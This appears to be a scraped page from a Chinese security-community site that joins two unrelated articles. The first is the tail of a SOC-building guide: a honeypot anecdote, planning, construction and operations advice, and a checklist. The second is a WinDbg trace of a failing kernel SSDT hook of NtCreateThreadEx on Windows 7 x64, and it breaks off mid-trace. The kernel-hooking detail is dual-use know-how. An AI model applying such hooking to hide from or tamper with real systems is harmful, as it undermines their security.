然后Honey打开了B区的门，打开了C区的门，D区的，E区的，能打开的都打开了，然后我明白了，她嫌弃我A区的空间太小了，然后从A跑到B，然后跑到C，就这样跑了一个晚上，不知道Honey累不累，反正我累的睡着了。
第二天早上，Felix来到办公室后，发现Honey有去过B，C，D，E等区域的痕迹（日志），立马对Honey进行了检查，彻彻底底的检查（算了，不开车）；最后发现，Honey吃了毒苹果(中毒)，然后神志不清的实现了内网漫游，中毒的Honey来了一次说走就走，还是熬夜的旅行，后来Honey飞升了
总结：中毒区域及时隔离，能恢复就回复，不能回复的想办法恢复，低权限可以暴力重装，蜜罐规则和机制要把控好，一些高危端口别开放，访问控制和规则要严谨，最后做好日志监控和相应的备份，顺便提一下，蜜罐玩不好还是要节制，不然责任基本上都是在你。
## 0x05.SOC建设全过程
这里我就SOC建设整体思维，以三个阶段的形式展现一下，也类似于“规划，建设，运维”的三个阶段。但这是笔者的SOC经历，每个人经历的可能不一样，也就是说，说不定你就是过去做最后一个阶段，或者在每个阶段的比重都有所不同，毕竟一切都应以实际情况出发。
### 第一个阶段：规划
我一直都很坚信一句话：凡事预则立，不预则废；凡是预而立，尽在于心；
一个好的系统应该都有一份详细的规划和架构方案，一个好的SOC运营方案也应该是有详细的筹划和准备的，那么再规划阶段应该考虑一些什么东西呢？
#### 1.资源
首先你要知道你的SOC运营中心有哪些支持的资源，这里提到的是工具或者辅助类的系统，一般来说支撑SOC运营中心的工具主要就是日志监控平台SOC/sao:k/,和其他的IPS，IDS，WAF，FW，终端管理，堡垒机，防病毒的安全设备等
其次，你可能需要一些进行测试和分析的服务器，一般用来按环境部署扫描器和用来镜像一些环境，还原测试
最后，你需要大量的日志，尽可能按照一级：环境分类，二级：设备，三级：日志类型，做到能够满足编写日志监控规则的要求即可，不用太详细，会带来不必要的工作量
备注：你可能还需要一些服务器的临时权限，一般用于对服务器进行检查和溯源分析等等
#### 2.组织
我所在的公司SOC是一级部门，所以会比较注重安全，但并不是所有的企业都是特别注重安全，所以你需要去调整一个自身的位置，其实公司重视安全并不意味着你就可以强势，很多时候，决策是需要互相理解的，所以你需要知道你进行安全运营的时候，你所基础的那些部门会有哪些，一般来说会涉及到：监控，运维，业务，应用，基础设施以及OA部门，你们之间处理相关事件会不断的交流，另外还有一层组织就是领导部门，一般来说到部门的负责人是SOC工程师的顶端，至于再往上通过你的上级Leader再往上协调即可
#### 3.目标
咋门既然要建设SOC运营中心，去监控整个企业的安全状态，那就得知道我们的目标，一般来说会有一些很简单的目标
a.运维权限的监控，目标不是针对运维组，而是排除他们的嫌疑，去分析异常登陆
b.账户权限的监控，和a有点像，一般来说是针对账户资源的
c.日志监控，监控所有的安全设备，系统，网络的日志即可，至于数据库业务那种，自己看着办，反正安全设备，系统，网络就基本上够吃一套了
e.变更审计，不是说你申请了变更就可以瞎搞，所以你需要对变更做一些详细的分析和判断
那么以上分别对应的资源就是：运维监控堡垒机权限，账户管理权限，日志服务器权限，变更审计权限
#### 4.痛点
并不是所有的SOC都是从头开始建设，有的可能已经存在一段时间了，而恰好在某个时间段需要你就救火，这里的痛点指的就是企业当前迫于眉睫，亟待解决的安全问题
比如说你的员工上网行为不规范，经常不小心打通了内网，再比如你的员工把文件传输出去了，在或者离职的员工没有做好管理，出现了风险，甚至你的企业被勒索病毒烦恼，APT攻击缠绕，等等，都需要你去不断的收集上级领导，员工的安全需求，以及你自己发现的一些安全漏洞
### 第二个阶段：建设
建设实际上是在你知道自己想要把安全做到什么程度之后准备开始实施的阶段，这个阶段是凸显一个安全工程师底蕴的时刻，你得有足够丰富的系统经验去部署你的SOC，足够支持解决企业安全风险的安全知识，以及基本的网络通信等等，这些都是一个在对企业建设安全需要使用的一些部分，建设其实有点像架构好你的SOC监控平台的结构，然后安装，配置，调试，这类工作我就不做赘述，提一下我在建设过程的一些技巧吧。
#### 1.资产规范很重要
你必须把你的资产严格按照你们内部定义或者集团定义的一套标准进行命名，在这里我把这个过程叫做资产建模，80%的企业的资产命名会出现一些差异，而建模的目标就是让所有的资产处于一种绝对标准化的命名，这样的优势是什么？有助于排查和分析，溯源，至于资产统一后的结果是如何的，一般按照具体的需求进行命名即可，但是要注意这里的资产，可以分享给基础设施，但并不建议强行推给他们，这会造成对方的工作负担，只有适合自己的才是最好的资产规范，我这里采用的是环境_应用名_IP的方式进行命名
例如：UAT_Test_192.168.1.1
最后注意的是，资产以IP为粒度，一个IP一个资产
#### 2.网络结构
或许你们有网络架构师在对你们的网络做架构，这部分不需要太担心，网络架构基本上会负责基本的隔离要求，你可以考虑一些部署安全产品的位置以及补充一些安全防护手段，但这不是我要说的重点，这里的网络结构是网络区域的严格区分，主要是针对每个区域进行相应的命名，一般是使用英文进行规范，命名不要太长，也不用太洋气，内部看得懂就行
#### 3.更新
更新主要是针对账户，资产，以及日志接入的更新，因为账户，资产在后续可能会增加，所以这里可以采用资产管理系统，或者定时的手动去咨询资产和账户情况，日志接入的更新一般都是在掌控中的，因为需要SOC团队和基础部门做日志的调试，参与其中
### 第三阶段：运营
当你的SOC日志监控平台搭建完毕，稳定运行的时候，就要考虑一些基础的运营内容
#### 1.审计
审计账户的使用情况，审计资源的分配情况，审计变更的执行情况
#### 2.巡检
定期对服务器，网络做巡检，主要是安全类型的巡检，就是基线和漏洞部分，这里可以加入漏洞管理，定期扫描和追踪漏洞修复情况
#### 3.维护
对SOC监控平台做定期的巡检，这里是安全和系统的巡检，季度的重启
#### 4调优
SOC监控平台建设完毕之后不可能是直接完美无缺的，所以需要不断地调整，这里你可以优化规则，可以优化日志，总之监控预警怎么直观怎么做
#### 5.安全分析
这里一般来说是针对安全事件，比如企业遭到了攻击，或者出现了异常的事件预警，这里需要及时去处理和溯源，然后这里补充一个我在尝试去做到一个东西：威胁建模，可能是资产建模，网络建模产生的奇葩想法，。
威胁建模，用于对外部威胁的汇总，这里前期考虑的是通用安全威胁，其实有点像风险建模，然后以图形的方式去汇总整个威胁图，这个拓扑图实际上就是按类威胁汇总，图形化显示，然后中间可以加上防护措施，和备注一下缺陷和可能存在的优化点
## 0x06.附录（CheckList）
一个互联网企业在建设SOC过程中应该考虑的一些点，可能会缺一些东西，欢迎补充
#### 1.网络安全
安全措施：
防火墙
IPS
IDS
网络设备ACL
可能出现的安全威胁：
访问控制规则过于松散：主要是any-any，另外大网段的网络控制策略
流量监控
#### 2.系统安全
安全措施：
基线扫描
Nessus扫描以及补丁修复
漏洞管理
可能出现的安全威胁：
漏洞得不到及时修复和跟进
#### 3.资产安全
安全措施：
资产管理
堡垒机
Symantec Endpoint Protection Manager
针对Web的AWVS
针对操作系统的Nessus
针对数据库的Nessus基线扫描
针对Port的Nmap，后续可能需要Masscan（IPV6）
可能出现的安全威胁：
漏洞管理：漏洞及时追踪和更新，以及补丁修复情况追踪
资产安全度：资产安全程度监控，以及实时汇总和修复（类似云镜，目前PRD，DR，UAT暂无）
专门针对数据库的DBscan漏洞扫描
针对APP安全的MobSF扫描
建议：
对接CNNVD漏洞库
风险监控：巡风
漏洞自查：定期自查，汇总
漏洞管理流程（包括漏洞发现，漏洞修复）
接入DBscan（需要详细评估）
接入MobSF
#### 4.终端
安全措施：
终端管理
可能出现的安全威胁：
终端漏洞造成办公区域甚至其他区域门户大开
#### 5.人员安全
安全措施：
离职人员账号管控
安全意识培训
安全技术培训
可能出现的安全威胁：
安全审计培训：相关流程
开发，运维安全培训
#### 6.邮件安全
安全措施：
邮件安全网关
防病毒
可能出现的安全威胁：
社工，APT攻击
#### 7.APT防护
安全措施：
APT攻击防护：SIEM/SOC
应急响应
蜜罐
#### 8.Web安全
安全措施
AWVS扫描
渗透测试
代码审计
DNS服务器防护
域名防护
可能出现的安全威胁
风险，威胁修复
API接口
中间件容器安全
#### 9.运维安全
安全措施
权限管理
账户管理
变更审计
上传下载文档审计，记录
自动化运维：Puppet，Salt Stack
DevSecOps
#### 10.告警安全
安全措施
邮件通知
短信通知
可能存在的安全措施
未涉及所有的基础设施
告警有效性
通知内容
通知人员清单更新
通知实时性
总结一下：
SOC是我这些年来比较钟爱的一个Team，从无到有，从一开始的规划，到后来的稳定运行，就像是看到了自己的孩子成长一样，收获了许多，最后我希望她能够茁壮成长。
## 致谢
感谢我的SOC Leader，Teamates
感谢辉哥，锋哥，刘哥
感谢Felix的Honey蜜罐 | 社区文章 |
作者：Leeqwind
作者博客：<https://xiaodaozhi.com/kernel/31.html>
近期在研究和开发基于虚拟化的虚拟 HOOK 技术。在 Windows 7 x64 环境开发实测期间，发现针对 `NtCreateThreadEx` 函数的
HOOK 存在问题：该函数大部分情况下变得只返回 `0xC00000F2` (`STATUS_INVALID_PARAMETER_4`) 第 4
个参数无效的状态码。这导致系统出现很多问题，大部分的新线程都无法成功创建。为了解决这个问题，在这篇文章中对问题进行追溯，查找到底是哪里导致的。
经过追踪：发现位于在 `NtAllocateVirtualMemory` 中如下位置赋值了提到的错误状态码：
kd> p
nt! ?? ::NNGAKEGL::`string'+0x47703:
fffff800`041e171e b8f20000c0 mov eax,0C00000F2h
调用栈如下：
kd> k
# Child-SP RetAddr Call Site
00 fffff880`028e7470 fffff800`03e918d3 nt! ?? ::NNGAKEGL::`string'+0x47703
01 fffff880`028e7610 fffff800`03e8de70 nt!KiSystemServiceCopyEnd+0x13
02 fffff880`028e7818 fffff800`04180a63 nt!KiServiceLinkage
03 fffff880`028e7820 fffff800`03e918d3 nt!NtSetInformationProcess+0x4c6
04 fffff880`028e7b70 fffff800`03e8de70 nt!KiSystemServiceCopyEnd+0x13
05 fffff880`028e7d08 fffff800`04180226 nt!KiServiceLinkage
06 fffff880`028e7d10 fffff800`0417e84d nt!RtlCreateUserStack+0x122
07 fffff880`028e7e00 fffff800`0417e47e nt!PspAllocateThread+0x299
08 fffff880`028e8020 fffff800`04182385 nt!PspCreateThread+0x1d2
09 fffff880`028e82a0 fffff880`03ea22ee nt!NtCreateThreadEx+0x25d
0a fffff880`028e89f0 fffff800`03e918d3 DetectModule!Handle_SSDT_NtCreateThreadEx+0x9e
0b fffff880`028e8a70 00000000`76e51d9a nt!KiSystemServiceCopyEnd+0x13
0c 00000000`0366af18 000007fe`fd01b4a3 ntdll!NtCreateThreadEx+0xa
0d 00000000`0366af20 00000000`76bf65b6 KernelBase!CreateRemoteThreadEx+0x163
0e 00000000`0366b3e0 000007fe`f57f7186 kernel32!CreateThreadStub+0x36
0f 00000000`0366b430 00000000`00000000 0x000007fe`f57f7186
具体的调用链：
NtCreateThreadEx > PspCreateThread > PspAllocateThread > RtlCreateUserStack > ZwSetInformationProcess > NtSetInformationProcess > ZwAllocateVirtualMemory > NtAllocateVirtualMemory
最终在 NtAllocateVirtualMemory 函数中因其第4个参数的问题导致了 0xC00000F2 的状态码。报错误码的指令前面的 10
条执行指令如下：
eb05 jmp nt!NtAllocateVirtualMemory+0x119 (fffff800`04189da9)
488b056092f3ff mov rax,qword ptr [nt!MmHighestUserAddress (fffff800`040c3010)]
48050000ffff add rax,0FFFFFFFFFFFF0000h
483bd8 cmp rbx,rax
0f8755790500 ja nt! ?? ::NNGAKEGL::`string'+0x476f9 (fffff800`041e1714)
488b054a92f3ff mov rax,qword ptr [nt!MmHighestUserAddress (fffff800`040c3010)]
482bc3 sub rax,rbx
482dffff0000 sub rax,0FFFFh
493bc7 cmp rax,r15
0f8246790500 jb nt! ?? ::NNGAKEGL::`string'+0x47703 (fffff800`041e171e)
b8f20000c0 mov eax,0C00000F2h
通过 IDA Hex 插件查看：
if ( v147 > MmHighestUserAddress - 0x10000 )
return 0xC00000F0i64;
if ( MmHighestUserAddress - v147 - 0xFFFF < v19 )
return 0xC00000F2i64;
在上面的第二个 if 判断命中条件，返回了 0xC00000F2 状态码。
在 Windbg 中捕获的该函数的指令执行路径如下，在分析时由于篇幅关系，在下面的指令片段中均把机器码左侧 64 位地址的高 32 位隐去：
nt!NtAllocateVirtualMemory:
`04189c90 4c894c2420 mov qword ptr [rsp+20h],r9
`04189c95 4c89442418 mov qword ptr [rsp+18h],r8
`04189c9a 4889542410 mov qword ptr [rsp+10h],rdx
`04189c9f 48894c2408 mov qword ptr [rsp+8],rcx
`04189ca4 53 push rbx
`04189ca5 56 push rsi
`04189ca6 57 push rdi
`04189ca7 4154 push r12
`04189ca9 4155 push r13
`04189cab 4156 push r14
`04189cad 4157 push r15
`04189caf 4881ec60010000 sub rsp,160h
`04189cb6 4d8bd1 mov r10,r9
`04189cb9 498bc0 mov rax,r8
`04189cbc 4c8bca mov r9,rdx
`04189cbf 4c8be9 mov r13,rcx
`04189cc2 4d85c0 test r8,r8
`04189cc5 0f8523080000 jne nt!NtAllocateVirtualMemory+0x85e (`0418a4ee)
`0418a4ee 4883f820 cmp rax,20h
`0418a4f2 0f8223710500 jb nt! ?? ::NNGAKEGL::`string'+0x475f0 (`041e161b)
`0418a4f8 488bc8 mov rcx,rax
`0418a4fb e82002ceff call nt!RtlFindMostSignificantBit (`03e6a720)
`0418a500 440fbec0 movsx r8d,al
`0418a504 b83f000000 mov eax,3Fh
`0418a509 412bc0 sub eax,r8d
`0418a50c 4898 cdqe
`0418a50e 48898424b0010000 mov qword ptr [rsp+1B0h],rax
`0418a516 4883f835 cmp rax,35h
`0418a51a 0f86abf7ffff jbe nt!NtAllocateVirtualMemory+0x3b (`04189ccb)
`04189ccb 4533c0 xor r8d,r8d
`04189cce 418bf8 mov edi,r8d
`04189cd1 654c8b242588010000 mov r12,qword ptr gs:[188h]
`04189cda 4d8b5c2470 mov r11,qword ptr [r12+70h]
`04189cdf 4c895c2478 mov qword ptr [rsp+78h],r11
`04189ce4 8bb424c0010000 mov esi,dword ptr [rsp+1C0h]
`04189ceb 448bf6 mov r14d,esi
`04189cee 4183e67f and r14d,7Fh
`04189cf2 0fb7050f93f3ff movzx eax,word ptr [nt!KeNumberNodes (`040c3008)]
`04189cf9 443bf0 cmp r14d,eax
`04189cfc 0f8734790500 ja nt! ?? ::NNGAKEGL::`string'+0x4760b (`041e1636)
`04189d02 83e680 and esi,0FFFFFF80h
`04189d05 f7c6ffcf07df test esi,0DF07CFFFh
`04189d0b 0f852f790500 jne nt! ?? ::NNGAKEGL::`string'+0x47615 (`041e1640)
`04189d11 f7c600300800 test esi,83000h
`04189d17 0f842d790500 je nt! ?? ::NNGAKEGL::`string'+0x4761f (`041e164a)
`04189d1d f7c60000e820 test esi,20E80000h
`04189d23 0f85e2090000 jne nt!NtAllocateVirtualMemory+0xa7b (`0418a70b)
`04189d29 8b8424c8010000 mov eax,dword ptr [rsp+1C8h]
`04189d30 89442460 mov dword ptr [rsp+60h],eax
`04189d34 8bc8 mov ecx,eax
`04189d36 e8c5bcd1ff call nt!MiMakeProtectionMask (`03ea5a00)
`04189d3b 89442474 mov dword ptr [rsp+74h],eax
`04189d3f 83f8ff cmp eax,0FFFFFFFFh
`04189d42 0f84c2790500 je nt! ?? ::NNGAKEGL::`string'+0x476ef (`041e170a)
`04189d48 410fb69424f6010000 movzx edx,byte ptr [r12+1F6h]
`04189d51 88542470 mov byte ptr [rsp+70h],dl
`04189d55 84d2 test dl,dl
`04189d57 7436 je nt!NtAllocateVirtualMemory+0xff (`04189d8f)
`04189d8f 498b19 mov rbx,qword ptr [r9]
`04189d92 48899c24a0000000 mov qword ptr [rsp+0A0h],rbx
`04189d9a 4d8b3a mov r15,qword ptr [r10]
`04189d9d 4c897c2468 mov qword ptr [rsp+68h],r15
`04189da2 eb05 jmp nt!NtAllocateVirtualMemory+0x119 (`04189da9)
`04189da9 488b056092f3ff mov rax,qword ptr [nt!MmHighestUserAddress (`040c3010)]
`04189db0 48050000ffff add rax,0FFFFFFFFFFFF0000h
`04189db6 483bd8 cmp rbx,rax
`04189db9 0f8755790500 ja nt! ?? ::NNGAKEGL::`string'+0x476f9 (`041e1714)
`04189dbf 488b054a92f3ff mov rax,qword ptr [nt!MmHighestUserAddress (`040c3010)]
`04189dc6 482bc3 sub rax,rbx
`04189dc9 482dffff0000 sub rax,0FFFFh
`04189dcf 493bc7 cmp rax,r15
`04189dd2 0f8246790500 jb nt! ?? ::NNGAKEGL::`string'+0x47703 (`041e171e)
`041e171e b8f20000c0 mov eax,0C00000F2h
根据上面的指令执行路径可知，关键的寄存器是 r9 寄存器。但在函数稍开始位置将第二个参数寄存器 rdx 的值赋值给 r9 寄存器。
参数4：在赋值 r9 之前，函数将 r9 寄存器赋值给 r10 寄存器；在函数稍后位置将 r10 寄存器存储的值作为地址取指针长度的值赋值给 r15
寄存器，并且在最后作为 cmp 比较的依据之一，即代码中的 v19 变量。
参数2：在将 rdx 的值赋值 r9 寄存器之后，在稍后位置将 r9 寄存器的值作为地址取指针长度的值赋值 rbx 寄存器，并通过将
MmHighestUserAddress-rbx-0xFFFF 获得的值与前面的 r15 寄存器进行大小比较。
函数原型：
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG_PTR ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
MmHighestUserAddress 初值：
mov rax, 7FFFFFEFFFFh
lea rdx, aSafeboot_0 ; "SAFEBOOT:"
mov cs:MmHighestUserAddress, rax
mov rax, 7FFFFFF0000h
mov cs:MmUserProbeAddress, rax
如果前面相减得到的 rax 值小于 r15 值，那么报错。
if ( MmHighestUserAddress - *BaseAddress - 0xFFFF < *RegionSize )
return 0xC00000F2i64;
在报错指令位置下断点，截获到一次报错的上下文，判断的两个寄存器值如下：
kd> r rax, r15
rax=000007fffffe0000 r15=fffffa8000000000
显而易见地，问题出在 r15 寄存器的值，而 r15 寄存器的值是由 r10 寄存器存储的指针指向地址的值赋值的。
kd> r r10
r10=fffff880030f8918
kd> dq fffff880030f8918 l1
fffff880`030f8918 fffffa80`00000000
显而易见地这是一个非常离谱的值，通常此处通过 RegionSize 参数指向域的值确定分配虚拟内存的区域大小，而 0xfffffa8000000000
显然超过了正常用户地址空间的范围。
至于为什么会传入这样无效的值，继续向上探究：
nt!NtSetInformationProcess:
`041d659c fff3 push rbx
kd> r rdx
rdx=0000000000000029
kd> p
nt!NtSetInformationProcess+0x2:
`041d659e 56 push rsi
`041d659f 57 push rdi
`041d65a0 4154 push r12
`041d65a2 4155 push r13
`041d65a4 4156 push r14
`041d65a6 4157 push r15
`041d65a8 4881ec10030000 sub rsp,310h
`041d65af 488b052a44e8ff mov rax,qword ptr [nt!_security_cookie (`0405a9e0)]
`041d65b6 4833c4 xor rax,rsp
`041d65b9 4889842400030000 mov qword ptr [rsp+300h],rax
`041d65c1 458bf9 mov r15d,r9d
`041d65c4 4d8be0 mov r12,r8
`041d65c7 4c8bd1 mov r10,rcx
`041d65ca 48894c2458 mov qword ptr [rsp+58h],rcx
`041d65cf 4c898424b0000000 mov qword ptr [rsp+0B0h],r8
`041d65d7 44897c2474 mov dword ptr [rsp+74h],r15d
`041d65dc 654c8b342588010000 mov r14,qword ptr gs:[188h] ;; Get _KTHREAD pointer
`041d65e5 4c89b42480000000 mov qword ptr [rsp+80h],r14
`041d65ed 418abef6010000 mov dil,byte ptr [r14+1F6h] ;; PreviousMode
`041d65f4 33f6 xor esi,esi
`041d65f6 403afe cmp dil,sil ;; PreviousMode == KernelMode
`041d65f9 0f8461030000 je nt!NtSetInformationProcess+0x3c3 (`041d6960)
`041d6960 bb08000000 mov ebx,8
`041d6965 448d6bf9 lea r13d,[rbx-7]
`041d6969 e949fdffff jmp nt!NtSetInformationProcess+0x11a (`041d66b7)
`041d66b7 83fa17 cmp edx,17h
`041d66ba 0f8f76010000 jg nt!NtSetInformationProcess+0x299 (`041d6836)
`041d6836 83fa27 cmp edx,27h
`041d6839 0f8e2f010000 jle nt!NtSetInformationProcess+0x3d1 (`041d696e)
`041d683f 83ea28 sub edx,28h
`041d6842 0f84c95f0600 je nt! ?? ::NNGAKEGL::`string'+0x4ce75 (`0423c811)
`041d6848 412bd5 sub edx,r13d ; r13d=029h
`041d684b 0f8573030000 jne nt!NtSetInformationProcess+0x627 (`041d6bc4)
`041d6851 4883cbff or rbx,0FFFFFFFFFFFFFFFFh
`041d6855 4c3bd3 cmp r10,rbx
`041d6858 0f850b5f0600 jne nt! ?? ::NNGAKEGL::`string'+0x4cdbf (`0423c769)
`041d685e 4183ff28 cmp r15d,28h
`041d6862 0f85155f0600 jne nt! ?? ::NNGAKEGL::`string'+0x4cdd3 (`0423c77d)
`041d6868 403afe cmp dil,sil
`041d686b 0f85d8030000 jne nt!NtSetInformationProcess+0x6ac (`041d6c49)
`041d6871 4c8bfe mov r15,rsi
`041d6874 458b3424 mov r14d,dword ptr [r12]
`041d6878 4183fe40 cmp r14d,40h
`041d687c 0f87f15e0600 ja nt! ?? ::NNGAKEGL::`string'+0x4cdc9 (`0423c773)
`041d6882 418b44240c mov eax,dword ptr [r12+0Ch]
`041d6887 410b442408 or eax,dword ptr [r12+8]
`041d688c 410b442404 or eax,dword ptr [r12+4]
`041d6891 0f85dc5e0600 jne nt! ?? ::NNGAKEGL::`string'+0x4cdc9 (`0423c773)
`041d6897 4983c410 add r12,10h
`041d689b 49393424 cmp qword ptr [r12],rsi
kd> r r12
r12=fffff88003aefd98
kd> p
`041d689f 0f84215f0600 je nt! ?? ::NNGAKEGL::`string'+0x4ce23 (`0423c7c6)
`041d68a5 49ba1400000080f7ffff mov r10,0FFFFF78000000014h
`041d68af 4d8b12 mov r10,qword ptr [r10]
`041d68b2 0f31 rdtsc
`041d68b4 48c1e220 shl rdx,20h
`041d68b8 480bc2 or rax,rdx
`041d68bb 4c03d0 add r10,rax
`041d68be 4183e21f and r10d,1Fh
`041d68c2 4503d5 add r10d,r13d
`041d68c5 4d8b1c24 mov r11,qword ptr [r12] ;; 从r12指向地址取值赋给r11
`041d68c9 4c899c24f8000000 mov qword ptr [rsp+0F8h],r11 ;; 为[rsp+0F8h]变量赋值
`041d68d1 65488b042588010000 mov rax,qword ptr gs:[188h]
`041d68da 488b4870 mov rcx,qword ptr [rax+70h]
`041d68de 0fbaa13c04000011 bt dword ptr [rcx+43Ch],11h
`041d68e6 0f823e010000 jb nt!NtSetInformationProcess+0x48d (`041d6a2a)
`041d68ec 4d8b4c2408 mov r9,qword ptr [r12+8]
`041d68f1 4c3bce cmp r9,rsi
`041d68f4 0f85d65e0600 jne nt! ?? ::NNGAKEGL::`string'+0x4ce2d (`0423c7d0)
`0423c7d0 4983f920 cmp r9,20h
`0423c7d4 7217 jb nt! ?? ::NNGAKEGL::`string'+0x4ce51 (`0423c7ed)
`0423c7d6 498bc9 mov rcx,r9
`0423c7d9 e8423fc8ff call nt!RtlFindMostSignificantBit (`03ec0720)
`0423c7de 0fbec8 movsx ecx,al
`0423c7e1 b83f000000 mov eax,3Fh
`0423c7e6 2bc1 sub eax,ecx
`0423c7e8 4c63c8 movsxd r9,eax
`0423c7eb eb04 jmp nt! ?? ::NNGAKEGL::`string'+0x4ce55 (`0423c7f1)
`0423c7f1 4983f935 cmp r9,35h
`0423c7f5 0f8739a2f9ff ja nt!NtSetInformationProcess+0x497 (`041d6a34)
`0423c7fb e9faa0f9ff jmp nt!NtSetInformationProcess+0x35d (`041d68fa)
`041d68fa 4d8d6c2410 lea r13,[r12+10h]
`041d68ff 4c896c2420 mov qword ptr [rsp+20h],r13
`041d6904 4533c0 xor r8d,r8d
`041d6907 498bd3 mov rdx,r11
`041d690a 418bca mov ecx,r10d
`041d690d e8863e0000 call nt!MiScanUserAddressSpace (`041da798)
`041d6912 8bc8 mov ecx,eax
`041d6914 3bc6 cmp eax,esi
`041d6916 7c28 jl nt!NtSetInformationProcess+0x3a3 (`041d6940)
`041d6940 3bce cmp ecx,esi
`041d6942 0f8cec000000 jl nt!NtSetInformationProcess+0x497 (`041d6a34)
`041d6a34 498d542410 lea rdx,[r12+10h]
`041d6a39 488932 mov qword ptr [rdx],rsi
`041d6a3c 410fbaee0d bts r14d,0Dh
`041d6a41 c744242804000000 mov dword ptr [rsp+28h],4
`041d6a49 4489742420 mov dword ptr [rsp+20h],r14d
`041d6a4e 4c8d8c24f8000000 lea r9,[rsp+0F8h] ;; 取[rsp+0F8h]变量的地址给r9寄存器
`041d6a56 4d8b442408 mov r8,qword ptr [r12+8]
`041d6a5b 488bcb mov rcx,rbx
`041d6a5e e87da4d0ff call nt!ZwAllocateVirtualMemory (`03ee0ee0)
kd> p
nt!NtSetInformationProcess+0x4c6:
`041d6a63 8bc8 mov ecx,eax
kd> r rax
rax=00000000c00000f2
kd> r rsp
rsp=fffff88003aef820
kd> dq rsp+0x0f8 l1
fffff880`03aef918 fffff800`00000000
kd> dq fffff88003aefd98 l1
fffff880`03aefd98 fffff800`00000000
函数定义：
NTSTATUS
NTAPI
NtSetInformationProcess (
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength
);
其中第二个参数是定义设置进程信息的类型。根据上面的指令执行路径得知，这次调用传递给该函数的第二个参数值为0x29，根据 PROCESSINFOCLASS
定义：
typedef enum _PROCESSINFOCLASS {
...
ProcessThreadStackAllocation = 0x29, // 0x29, 41
...
} PROCESSINFOCLASS;
进程信息类型为 0x29 时表示设置进程的线程栈分配信息。
在这次 NtSetInformationProcess 函数调用中，可以看到传入 ZwAllocateVirtualMemory
函数的第四个参数来自它自身第三个参数 r8 寄存器指向的结构体对象基址 +10 偏移的域值。
第三个参数是 ProcessInformation，指向一个由调用者分配的缓冲区，作为用于提供指定的进程信息类型所需的各种数据的结构。
在该函数调用初期查看这个缓冲区中的数据：
kd> dq 0xfffff880`03aefd88
fffff880`03aefd88 00000000`00000000 00000000`00000000
fffff880`03aefd98 fffff880`00000000 00000000`00000000
fffff880`03aefda8 00000000`00000000 00000000`00000000
可以确定的是上级函数传入 NtSetInformationProcess 的第三个参数时缓冲区中的数据就是这样的，就是说偏移为 +10h 位置的域其值为
0xFFFFF88000000000 这种异常的值。
所以此时继续向上探究。在 nt!RtlCreateUserStack 函数首地址下断点捕获其调用路径：
nt!RtlCreateUserStack:
`041cf104 4c89442418 mov qword ptr [rsp+18h],r8
`041cf109 4889542410 mov qword ptr [rsp+10h],rdx
`041cf10e 48894c2408 mov qword ptr [rsp+8],rcx
`041cf113 53 push rbx
`041cf114 56 push rsi
`041cf115 4154 push r12
`041cf117 4155 push r13
`041cf119 4156 push r14
`041cf11b 4157 push r15
`041cf11d 4881ecb8000000 sub rsp,0B8h
`041cf124 4d8be9 mov r13,r9
`041cf127 488bf2 mov rsi,rdx
`041cf12a 488bd9 mov rbx,rcx
`041cf12d 4d8bf9 mov r15,r9
`041cf130 49c1ef38 shr r15,38h
`041cf134 44887c2430 mov byte ptr [rsp+30h],r15b
`041cf139 48b8ffffffffffffff00 mov rax,0FFFFFFFFFFFFFFh
`041cf143 4c23e8 and r13,rax
`041cf146 4c89ac2408010000 mov qword ptr [rsp+108h],r13
`041cf14e 4180ff40 cmp r15b,40h
`041cf152 0f8764060400 ja nt! ?? ::NNGAKEGL::`string'+0x7020 (`0420f7bc)
`041cf158 4b8d446d00 lea rax,[r13+r13*2]
`041cf15d 4889442460 mov qword ptr [rsp+60h],rax
`041cf162 65488b042588010000 mov rax,qword ptr gs:[188h]
`041cf16b 488b4870 mov rcx,qword ptr [rax+70h]
`041cf16f 4c8bb138030000 mov r14,qword ptr [rcx+338h]
`041cf176 4c89742458 mov qword ptr [rsp+58h],r14
`041cf17b 4885db test rbx,rbx
`041cf17e 0f848b010000 je nt!RtlCreateUserStack+0x20b (`041cf30f)
`041cf184 4885d2 test rdx,rdx
`041cf187 0f8482010000 je nt!RtlCreateUserStack+0x20b (`041cf30f)
`041cf18d b800400000 mov eax,4000h
`041cf192 4885db test rbx,rbx
`041cf195 480f44d8 cmove rbx,rax
`041cf199 483bde cmp rbx,rsi
`041cf19c 0f832c060400 jae nt! ?? ::NNGAKEGL::`string'+0x7032 (`0420f7ce)
`0420f7ce 488db3ffff0f00 lea rsi,[rbx+0FFFFFh]
`0420f7d5 4881e60000f0ff and rsi,0FFFFFFFFFFF00000h
`0420f7dc e9c1f9fbff jmp nt!RtlCreateUserStack+0x9e (`041cf1a2)
`041cf1a2 498d4dff lea rcx,[r13-1]
`041cf1a6 48f7d1 not rcx
`041cf1a9 4e8d642bff lea r12,[rbx+r13-1]
`041cf1ae 4c23e1 and r12,rcx
`041cf1b1 4881c6ffff0000 add rsi,0FFFFh
`041cf1b8 4881e60000ffff and rsi,0FFFFFFFFFFFF0000h
`041cf1bf 498b8618030000 mov rax,qword ptr [r14+318h]
`041cf1c6 48898424a0000000 mov qword ptr [rsp+0A0h],rax
`041cf1ce eb05 jmp nt!RtlCreateUserStack+0xd1 (`041cf1d5)
`041cf1d5 4885c0 test rax,rax
`041cf1d8 0f8503060400 jne nt! ?? ::NNGAKEGL::`string'+0x7045 (`0420f7e1)
`041cf1de 410fb6c7 movzx eax,r15b
`041cf1e2 89442478 mov dword ptr [rsp+78h],eax
`041cf1e6 8364247c00 and dword ptr [rsp+7Ch],0
`041cf1eb 83a4248400000000 and dword ptr [rsp+84h],0
`041cf1f3 83a4248000000000 and dword ptr [rsp+80h],0
`041cf1fb 4889b42488000000 mov qword ptr [rsp+88h],rsi ; assign-> RegionSize
`041cf203 4c89842490000000 mov qword ptr [rsp+90h],r8
`041cf20b 41b928000000 mov r9d,28h
`041cf211 4c8d442478 lea r8,[rsp+78h]
`041cf216 418d5101 lea edx,[r9+1]
`041cf21a 4983cfff or r15,0FFFFFFFFFFFFFFFFh
`041cf21e 498bcf mov rcx,r15
`041cf221 e83aadd0ff call nt!ZwSetInformationProcess (`03ed9f60)
kd> r r8
r8=fffff8800422bd88
kd> dq [r8]
